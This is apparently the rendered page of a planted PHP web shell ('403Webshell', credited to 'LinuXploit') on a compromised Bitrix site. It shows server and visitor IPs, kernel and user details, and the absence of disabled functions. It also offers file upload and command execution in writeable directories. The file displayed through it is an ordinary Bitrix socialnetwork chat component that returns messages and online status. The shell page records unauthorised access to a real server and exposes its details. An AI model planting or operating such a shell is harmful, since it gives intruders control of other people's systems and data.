403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/socialnetwork.messages_chat/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/bitrix/socialnetwork.messages_chat/get_message.php
<?
define("NO_KEEP_STATISTIC", true);
define("NO_LANG_FILES", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$path = str_replace(array("\\", "//"), "/", __DIR__."/lang/en/get_message.php");
@include_once($path);
$path = str_replace(array("\\", "//"), "/", __DIR__."/lang/".LANGUAGE_ID."/get_message.php");
@include_once($path);

if (CModule::IncludeModule("socialnetwork"))
{
	$userId = intval($_REQUEST["user_id"]);

	$mptr = Trim($_REQUEST["mptr"]);
	$replyMessId = intval($_REQUEST["message_id"]);

	if (!$GLOBALS["USER"]->IsAuthorized())
	{
		echo "*\r\n";
	}
	else
	{
		//messages from *all* users
		$bFirst = true;
		$currUserId = $GLOBALS["USER"]->GetID();
		
		$mptr_ts = MakeTimeStamp($mptr, "YYYY-MM-DD HH:MI:SS") - CTimeZone::GetOffset();
		$mptr = date("Y-m-d H:i:s", $mptr_ts);

		$dbMessages = CSocNetMessages::GetMessagesForChat($currUserId, 0, $mptr, false, $replyMessId);
		if ($dbMessages)
		{
			$parser = new CSocNetTextParser(LANGUAGE_ID, "/bitrix/images/socialnetwork/smile/");

			while ($arMessages = $dbMessages->GetNext())
			{
				if($arMessages["WHO"] <> "IN")
				{
					if($userId > 0)
					{
						if($userId != $arMessages["USER_ID"])
							continue;
					}
					else
					{
						if($bFirst)
							$bFirst = false;
						else
							continue;
					}
				}
				
				if($userId > 0 && $userId == $arMessages["USER_ID"] && $arMessages["DATE_VIEW"] == '' && $arMessages["WHO"] == "IN")
					CSocNetMessages::Update($arMessages["ID"], array("=DATE_VIEW" => $DB->CurrentTimeFunction()));

				echo "m".$arMessages["USER_ID"]."\r\n";
				echo $arMessages["DATE_CREATE_FMT"]."\r\n";
				echo $arMessages["WHO"].$arMessages["ID"]."\r\n";
				echo $parser->convert($arMessages["~MESSAGE"],
					false,
					array(),
					array(
						"HTML" => "N",
						"ANCHOR" => "Y",
						"BIU" => "Y",
						"IMG" => "Y",
						"LIST" => "Y",
						"QUOTE" => "Y",
						"CODE" => "Y",
						"FONT" => "Y",
						"SMILES" => "Y",
						"UPLOAD" => "N",
						"NL2BR" => "N"
					)
				);
				echo "\r\n";
			}
		}

		//online status
		$db = CUser::GetList('', '', array("LAST_ACTIVITY"=>120));
		while($dba = $db->Fetch())
			if($dba['ID'] <> $currUserId)
				echo "+".$dba['ID']."\r\n";
	}
}

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit